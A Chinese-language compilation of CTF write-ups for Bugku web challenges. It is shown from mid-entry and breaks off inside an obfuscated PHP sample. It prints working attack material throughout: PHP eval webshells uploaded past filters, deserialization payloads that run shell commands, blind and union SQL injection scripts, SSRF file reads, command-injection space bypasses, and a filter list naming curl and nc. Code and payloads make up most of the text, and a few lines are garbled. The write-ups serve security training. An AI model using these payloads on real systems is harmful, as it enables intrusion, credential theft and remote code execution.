  2. 但是同时 uname 和 passwd两个的值又不能相等
  3. id == "margin"
  4. GET传参id以及uname,POST传参passwd,要求id=margin

当uname和passwd的值不相等,且他们的sha1值相等和get传的id值为margin时,会得到flag

uname的sha1值 与 passwd的sha1的值相等需要利用sha1()不能处理数组的漏洞,如果传入的值为数组,则sha1会返回NULL,因此只需让uname和passwd都为数组,等式成为NULL===NULL,成立


构建payload:

?id=margin&uname[]=1

post:

passwd[]=2

最终flag为:
flag{c4cb179ab6902db25c4e29f9d925451e}


题目名称:file_get_contents
题目writeup:
启动题目场景,获得靶场,访问靶场网站,得到一段php代码
http://114.67.246.176:18393/
得到的php代码:
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

大致意思就是要上传 ac和fn两个参数且ac的值等于fn文件内容的值

get一个file参数到file_get_contents()函数里,如果返回为指定字符串,就得到了flag


这时候就可以用到php伪协议的php://input

他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。顺便记一下这个伪协议需要allow_url_include为on

这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的
方法一:使用php://input伪协议绕过
① GET的参数为?ac=ab&fn=php://input
② 用post方法传入想要file_get_contents()函数返回的值:ab
post:
ab

方法二:利用data://text/plain伪协议进行绕过
data伪协议只有在php<5.3且include=on时可以写木马(PHP版本有限制)
GET的参数为:?ac=flag&fn=data://text/plain,flag
http://114.67.246.176:18393/?ac=flag&fn=data://text/plain,flag
方法三:利用data://text/plain;base64伪协议进行绕过
和解法3一样,但是进行了base64编码,可以用来过一些简单的过滤
GET的参数为:?ac=flag&fn=data://text/plain;base64,ZmxhZw==
最终flag:
flag{75219fcb9d96e3722b64d12903a7ffb5}

题目名称:安慰奖
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面是空白
http://114.67.246.176:11969/
查看靶场网站主页源码,在注释中发现一个base64加密的字符串YmFja3Vwcw==解码得到:backups,告诉我们该网站中含有备份文件。

通过御剑目录扫描工具对靶场网站进行目录扫描,发现网站中存在index.php和 index.php.bk以及 flag.php文件。
访问index.php.bk下载该文件,并在本地文件打开
http://114.67.246.176:11969/index.php.bak
得到的index.php源码为:
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>
首先需要了解php的一些魔术方法的性质:
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
__destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
需要注意的是当访问控制符为private与protect时,序列化时比较特殊:  
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名

代码分析,construct方法可以让外部来的username和cmd变量替代内部的protected的username和cmd
但是经过尝试,普通变量肯定不行,只好尝试权限比protected高的private变量
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
destruct方法过滤了一堆命令,但是两个反引号明显是存在远程命令调用的
需要我们上传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码。
构造反序列化代码:
<?php
class ctf{
    protected $username='admin';
    protected $cmd='ls';
}
$a=new ctf();
echo(serialize($a))
?>
运行得到序列化:
https://tool.lu/coderunner
序列化一个ctf对象,其中username,cmd必须是private变量,cmd命令用tac命令,用多于两个属性值的对象就可以禁用wakeup方法
 O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}

O :代表对象 因为我们序列化的是一个对象
3 :代表类名字占三个字符
ctf :类名
2: 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大
s:代表字符串
11:代表属性名长度
username: 属性名
s:5:“admin”:  字符串 属性值长度 属性值
protected属性被序列化的时候属性值会变成:%00类名%00属性名,而%00是空字符,在浏览器中会显示为空,但不代表传入时能没有%00,所以我们最后的payload应该加上%00
O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
因为这里是protected所以是%00*%00共占三位

绕过_wakeup函数:
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
绕过_wakeup()函数只需要将ctf后面的2改成比2大的值3即可,,最终payload:
?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
http://114.67.246.176:11969/?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
发现flag.php,它还利用了正则过滤了许多系统命令,这里使用tac命令查看flag.php的文件内容。
?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
http://114.67.246.176:11969/?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
最终获得flag:
flag{Unser1alize_and_2CE_Add}


题目名称:文件上传
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示内容为"My name is margin,give me a image file not a php"告诉我们需要上传图片文件。
http://114.67.246.176:14970/
这里准备上传一句话图片木马2.jpg,且内容为:<?php @eval($_POST[cmd]); ?>
通过bupsuit抓包,对其上传,可以看到成功上传2.jpg图片木马,说明该网站WAF不会坚持木马内容
正常操作,先将下面文件的类型改为:image/jpeg,然后试试,不行,试了试"."和“;.jpg”,但是上传后都变成了jpg,
那么先将上面的Content-Type的值修改一个为大写,文件扩展名从:php2, php3, php4, php5, phps, pht, phtm, phtml,挨个测试,发现.php4可以成功上传。
因此:
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
修改为
Content-Type: Multipart/form-data; boundary=---------------------------265001916915724
将2.jpg修改文1.php4可绕过上传限制,可成功上传1.php4
上传的一句话后门文件路径为:upload/bugku25155937_7494.php4
下面使用蚁剑远程连接一句话木马
http://114.67.246.176:14970/upload/bugku25155937_7494.php4

在网站的根目录下存在flag文件
查看flag文件,即可得到flag内容
最终得到flag:
flag{c8036b897db1f709036563db65be63fa}

题目名称:decrypt
题目提示:Flag:{xxx} 题目内容:
 fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
题目writeup:
下载附件得到php.zip,对其解压得到index.php
index.php的源码:
<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) {
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>
加密过程是把ISCC转换成一个md5值,然后把每一位放在一个数组里,然后和待解的flag里面的每一位相加
相加模128,得到字符的ascii码,最后base64编码得到:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

解密的话就反着来,先base64解码,然后将结果每一位的ascii码值减去密钥的ascii码值,注意ascii码值需要在0-128之间,所以需要加上1个128然后再求模
最后再转成字符,就得到flag

<?php
    $key = md5('ISCC');
    $str = base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
    $klen = strlen($key);
    $len = strlen($str);
    $x = 0;
    for ($i=0; $i < $len; $i++) {
            if ($x == $klen){
            $x = 0;
            }
            $char .= $key[$x];
            $x+=1;
        }
    for($i = 0; $i < $len; $i ++){
        $data .= (ord($str[$i])-ord($char[$i]))>0?chr(ord($str[$i])-ord($char[$i])):chr(ord($str[$i])-ord($char[$i])+128);
    }
    print($data);
?>
https://tool.lu/coderunner
或者
# /usr/bin/python
import base64
def decrypt(str):
text1=base64.b64decode(str)
key='729623334f0aa2784a1599fd374c120d729623'
flag=''
for i in range(len(text1)):
flag +=chr((ord(text1[i])-ord(key[i])+128)%128)
#flag +=chr((text1[i]-ord(key[i])+128)%128)
print(flag)



if __name__ == '__main__':
str='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
decrypt(str)
最终flag:
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

题目名称:文件包含2
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示是一个文件包含。
http://114.67.246.176:19436/index.php?file=hello.php
查看靶场网站文件包含的源码,在注释中包含有upload.php文件,那么该文件是存在于靶场网站中。
view-source:http://114.67.246.176:19436/index.php?file=hello.php
这里包含upload.php,发现页面是一个文件上传功能。且只能上传jpg、gif、png图片文件格式,且文件大小不能超过100kb
index.php?file=hello.php
尝试上传一句话图片木马2.jpg,其内容为:<?php @eval($_POST[cmd]); ?>,可以看到成功上传一句话图片木马。
上传的一句话图片木马的路径地址:upload/202108250501423628.jpg
访问一句话图片木马地址,并且下载到本地,打开图片,发现网站过滤了<?php 和 ?>
http://114.67.246.176:19436/upload/202108250501423628.jpg

既然网站过滤<?php 和 ?>,那么可以上传以下一句话图片内容poc:
<script language=php>echo 'a'; eval($_POST['pass']);</script>
或者
<script language=php>eval($_POST[shell])</script>
可以看到,成功上传一句户图片木马
一句话图片上传的路径地址:upload/202108250507189932.jpg
那么可以通过文件包含的形式去访问一句话图片木马地址:
http://114.67.246.176:19436/index.php?file=upload/202108250507189932.jpg
下面通过蚁剑远程连接一句话图片木马
在网站的根目录下发现存在flag文件
通过查看flag文件,可获得flag内容
最终 flag为:
flag{f5195471d8dfe034756f9cf8440b6574}

题目名称:需要管理员
题目描述:好像需要管理员
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面内容显示404
http://114.67.246.176:17514/
通过御剑目录扫描工具对其靶场网站进行扫描,发现网站存在robots.txt文件
访问robots.txt文件,发现网站包含隐藏了resusl.php文件。
http://114.67.246.176:17514/robots.txt
访问resusl.php文件
http://114.67.246.176:17514/resusl.php
页面显示了内容:"Warning:你不是管理员你的IP已经被记录到日志了,118.122.97.101"以及“if ($_GET[x]==$password) 此处省略1w字”
根据页面内容提示“你不是管理员你的IP已经被记录到日志了”,猜测可能需要伪造请求源ip地址,这里在http请求头部添加X-Forwarded-For: 127.0.0.1,发送请求,在响应页面内容没有任何变化。
又根据上文提示:“if ($_GET[x]==$password) 此处省略1w字”,告诉我们需要构造get请求,以及参数为x,其参数值还未知。
于是构造poc:
然后访问,并通过bupsuit对其抓包拦截,最后fuzz爆破参数x的值
可以看到payload为admin的时候,得到flag值
最终flag:
flag{b63d2fe82e6fa83ca589bd57c7726bfc}

题目名称:newphp
题目内容:flag{}
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示了一段php代码

得到的php代码:
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));
首先在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,要构造触发这个evil类的序列化:
<?php
class evil
{
    public $hint="hint.php";
}
$a= new  evil();
var_dump(serialize($a));
?>
通过php在线工具运行 可得到evil类的序列化的值
https://tool.lu/coderunner
得到evil类的序列化值:
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
绕过_wakeup需要将evil后面的数字更改为比原来的数字大(绕过_wakeup只需对象属性个数值比原来数字大)
O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
但是看接入点,是post进去username和password两个参数,然后触发的是User类,然后在user类中有read()方法和write() 方法,这两个方法都是经过处理后才进行反序列化的
这里就有一个漏洞了,php反序列化字符串逃逸
php特性:
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化
漏洞原因:
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,详细的可以看下这篇文章(https://blog.csdn.net/dengyu810/article/details/103213750)
user类触发的payload为:
O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
这时候我们要逃逸的就是";s:8:"password";s:41:"共23个字符
而每次添加一组\0\0\0可以逃逸三个字,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个
用8对进行逃逸,但是会触发wakeup函数,使我们的hint指向一个颜文字,利用wakeup函数漏洞,将属性个数从1改成2即可绕过,最终构造的payload为:
payload:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
构造POC:
post:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

访问请求,得到的加密base64字符串:
PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=
解密得到:
<?php
 $hint = "index.cgi";
 // You can't see me~

发现解密后的代码块中包含 index.cgi文件
访问index.cgi文件,页面显示一段JSON格式的输出内容。

得到的json输出内容:
{
  "args": {
    "name": "Bob"
  },
  "headers": {
    "Accept": "*/*",
    "Host": "httpbin.org",
    "User-Agent": "curl/7.64.0",
    "X-Amzn-Trace-Id": "Root=1-612754a1-06da11ef750abeea7211a11b"
  },
  "origin": "114.67.246.176",
  "url": "http://httpbin.org/get?name=Bob"
}
在访问index.cgi得到的内容中包含了一个特殊的url地址http://httpbin.org/get?name=Bob,说明是来自 httpbin.org域名的访问,猜测是ssrf漏洞,且请求的参数为?name=Bob
于是我们可以构造:
来验证是否存在SSRF,可以看到请求的url地址是来自httpbin.org服务器端请求。证实靶机网站确实存在SSRF

既然ssrf漏洞存在,那么就可以通过file协议来直接读取flag内容,发现一直在headers里面出不去

?name=file:///flag
http://114.67.246.176:15516/index.cgi?name=file:///flag

那么就需要逃逸出headers,这里需要在file:///flag前加空格(%20),可直接读取flag文件内容
?name=%20file:///flag
http://114.67.246.176:15516/index.cgi?name=%20file:///flag

最终得到flag:
flag{68021f3879a3662b925b4ce431208f05}


题目名称:点login咋没反应
题目writeup:
启动题目场景,获得靶场网站,发现页面是登录窗口,输入用户名和密码没有任何提示。
http://114.67.246.176:13673/
查看靶场网站源码,发现页面超链接了admin.css以及action提交的是#,就证实上面提交无反应的原因。
view-source:http://114.67.246.176:13673/
访问admin.css页面,发现在注释中存在"tre ?1094",告诉我们需要访问参数?1094
http://114.67.246.176:13673/admin.css
这里我们访问?1094参数,页面显示了一块php代码

得到的php代码:
<?php
error_reporting(0);     //关闭错误报告
$KEY='ctf.bugku.com';    //把字符串的值赋值给变量key
include_once("flag.php");    //在脚本执行期间包含运行flag.php
$cookie = $_COOKIE['BUGKU'];    //通过 HTTP Cookies方式传递给当前脚本的cookie变量的BUGKU数组
if(isset($_GET['24146'])){   
show_source(__FILE__);    
}
elseif (unserialize($cookie) === "$KEY")    //判断cookie值反序列化后的值与ctf.bugku.com是否相同,若unserialize($cookie)全等于$KEY,这里注意有双引号,大体意思是:cookie的参数为BUGKU,值为$KEY的序列化
{
echo "$flag";    //相同则输出flag
}

根据代码分析可知,当elseif (unserialize($cookie) === "$KEY") 时,即得flag。且$cookie=COOKIE[‘BUGKU’]
大致就是当传入的cookie参数BUGKU的值反序列化后等于KEY就输出Flag:
下面构造key的反序化:
<?php
$KEY='ctf.bugku.com';
echo serialize($KEY);

通过在线php运行得到key反序化的值
https://tool.lu/coderunner
得到的key序列化值:
s:13:"ctf.bugku.com";
访问靶场网站主页,然后通过burpsuit对其抓包,然后再http请求头部中添加Cookie: BUGKU=s:13:"ctf.bugku.com";(cookie的参数为BUGKU,值为$KEY的序列化), 并发送请求,在响应页面中可得到flag
;BUGKU=s:13:"ctf.bugku.com";
最终flag:
flag{3e2a7b8bbc39dc51af6e2a82b5bc6705}

题目名称:都过滤了
题目描述:
!,!=,=,+,-,^,%
全都过滤了绝望吗?
题目writeup:
启动题目场景获得靶场网站,发现页面是一个登陆窗口。
http://114.67.246.176:19515/index.php
输入admin用户,密码任意,发现密码错误,证明admin用户存在靶场系统中,但是不知道密码是多少。
输入用户admin' 密码任意,显示username错误,说明单引号没被过滤
输入用户admin'#密码任意,发现过滤了,那#用不了,试了试--+都被过滤。
同时使用dirsearch.py脚本对靶场网站目录进行扫描,发现存在一个特殊的images目录
python3  dirsearch.py   -u  http://114.67.246.176:19515/
访问imagses目录,存在一张1.png图片
http://114.67.246.176:19515/images/
访问1.png图片,从图片内容中提示我们不是数字开头的字符串在比较时会自动转成0
图片内容中提示0=0也就是永真,所以可以爆出所有的用户名。
根据题目描述提示”!,!=,=,+,-,^,%”这些符号都没被过滤 ,那么异或(^)或者-号以及单引号都没过滤,使用脚本异或注入跑出flag:
# -*- coding: utf-8 -*-
import requests

session = requests.Session()
url="http://114.67.246.176:19515/login.php"
flag=''
for i in range(1,250):
left=32
right=128
mid=(left+right)//2
while(left<right):
payload="admin'^((ascii(mid((select(group_concat(passwd)))from(%s)))>%s))^'1"%(i,mid)
data = {'uname': payload, 'passwd': 'admin'}
res = requests.post(url, data=data)
if 'password' in res.text:
left=mid+1
else:
right=mid
mid=(left+right)//2
if(mid==32 or mid==127):
break
flag=flag+chr(mid)
print(flag)
得到paswword的MD5值:4dcc88f8f1bc05e7c2ad1a60288481a2
通过在线password md5解密
得到password的明文:bugkuctf
猜测该明文为admin 的密码
尝试输入用户名admin,密码:bugkuctf,可成功登陆到系统后台。
http://114.67.246.176:19515/admin/
执行ls 命令来列出当前目录存在的文件,发现并没有flag
执行命令ls /,提示“危险字符,命令执行失败”说明空格被过滤了。

在linux里面有很多方式可以代替空格如:

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
因此通过不断尝试,发现下面命令语句可获得flag:
cat<>/flag
或者
cat</flag
最终 flag:
flag{9e35651ff816d9d3eebfbd0ca11607ce}
这里我们在登录页面输入用户名admin,密码123456,并通过burpsuit对其抓包,并发送数据包,发现在http 响应头中tip:的值出现了一串base64字符串。
得到base64的tip值:
JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9
进行base64解密得到一段代码如下:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错。

这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。
而sql语句中的两个变量username和password之所以用点号连接左右,是因为如果变量在单引号里面可能会不被解析出来,而被当成 一个字符串。

发现验证逻辑是取回数据库的密码后,再与post请求里的密码进行对比验证
那么这里就可以考虑利用union注入来返回自己构造的账号和密码,实现伪造身份登入后台
要注意的一点就是在union前的username在数据库中是不存在的,否则返回的$row数组只将第一条的密码进行校验,无法绕过
可以看到是先提交的用户名之后再从数据中查询密码,随后再核对密码,然后也没有对 username 进行过滤的操作,
于是构造payload如下:
username=’ union select md5(1),md5(123)#&password=123
可以看到成功请求登录成功。
那么用户名:'  union select md5(1),md5(123)#
密码:123
输入以上用户名和密码,可成功登录系统:
执行这条语句时,由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(123)则会返回两个MD5的值,然后password我们也置为passwd,从而绕过if语句的判断。
还原语句为:
SELECT username,password FROM admin WHERE username='' union select md5(1),md5(123)#&password=123
此时我们可以 username='', 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空, 我们这里就将后面的语句的内容显示出来
所以本题中的SELECT username,password FROM admin WHERE username='' union select md5(1),md5(123)#将会返回
username password
md5(1) md5(123)
这样就能使if判断为真
if (!empty($row) && r o w [′password′] = = = m d 5 ( row['password']===md5(row[ ′ password ′ ]===md5(password))

或者构造如下poc:
username='  union select 1,'76a2173be6393254e72ffa4d6df1030a'#&password=passwd
passwd的md5值为:76a2173be6393254e72ffa4d6df1030a
通过bupsuit进行发送数据包,发现能成功登录系统
那么用户名:
'  union select 1,'76a2173be6393254e72ffa4d6df1030a'#
密码:
passwd
输入以上用户名和密码也能成功登录系统:




在输入框中输入以下字符串测试:
ls
test;ls
test;cat index.php
发现除了进程信息之外其他的都没有回显,不知道是不是有过滤,又更换命令的分解符号为|,&,&&均没有反应,这样存在两种可能,命令执行了,输出过滤了,或者是命令被过滤了
这里采用写入文件二次返回的方法查看结果
通过ls ../../../写入到test文件中
123|ls ../../../>test
访问http://114.67.246.176:11727/test
发现在根目录下存在flag文件
通过cat /flag命令写入到test文件中
123|cat /flag>test
访问http://114.67.246.176:11727/test,可得到flag的内容:
最终flag:
flag{471a4bb73b22b760eb3e317822dceafa}




题目名称:sql注入
题目描述:
基于布尔的盲注
题目writeup:
启动题目场景获得靶场网站,发现页面是一个登陆窗口。
http://114.67.246.176:12716/
输入admin用户,密码任意,发现密码错误,证明admin用户存在靶场系统中,但是不知道密码是多少。
输入用户admin' 密码任意,显示用户名不存在,说明单引号没被过滤

输入用户admin'#密码任意,显示密码错误,推测注释符号#被过滤了,
但是输入用户名admin'%23或者admin'--,密码任意,显示用户名不存在,那么注释符号%23和--没有被过滤。

测试发现…还过滤了空格,逗号,等号,for,空格用括号代替,等号用相反的<>(一种不等号)代替

之前的一组布尔要与payload结合起来,形成true/false的布尔。
这里使用^ 异或或者or 来实现都可以。 ,那么异或(^)或者-号以及单引号都没过滤,使用脚本异或注入跑出flag:

#coding=utf8
# 布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
import requests
import string, hashlib

url = 'http://114.67.246.176:12716/'
sss = string.digits + (string.ascii_lowercase)
a = ''
for i in range(1, 50):
flag = 0
for j in sss:
payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
# 屏蔽了",",改用mid()函数,from表示起始位置
# ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
# <>表示不等号
# ^表示异或
payload2 = "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#" % (i, ord(j))
# 由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
payload3 = "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#" % (i, ord(j))

data = {'username': payload, 'password': 'admin'}
res = requests.post(url, data=data).text
if 'username does not exist!' in res:
a += j
flag = 1
print(a)
break
if flag == 0:
break

print(a)
得到paswword的MD5值:4dcc88f8f1bc05e7c2ad1a60288481a2
通过在线password md5解密
得到password的明文:bugkuctf
尝试输入用户名admin,密码:bugkuctf,可成功登陆到系统后台。并获得flag
最终得到flag:
flag{003cacd6ecd6f1d33f935ef2acab6ea9}

题目名称:getshell
题目writeup:
启动题目场景,获得靶场网站,这里访问靶场网站的主页index.php页面,发现页面显示了一段php代码
得到的php代码已被混淆加密了:
<?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{18} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{1} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{7} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{13};
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC.= $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{22} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{36} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{29} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{32} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{35} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
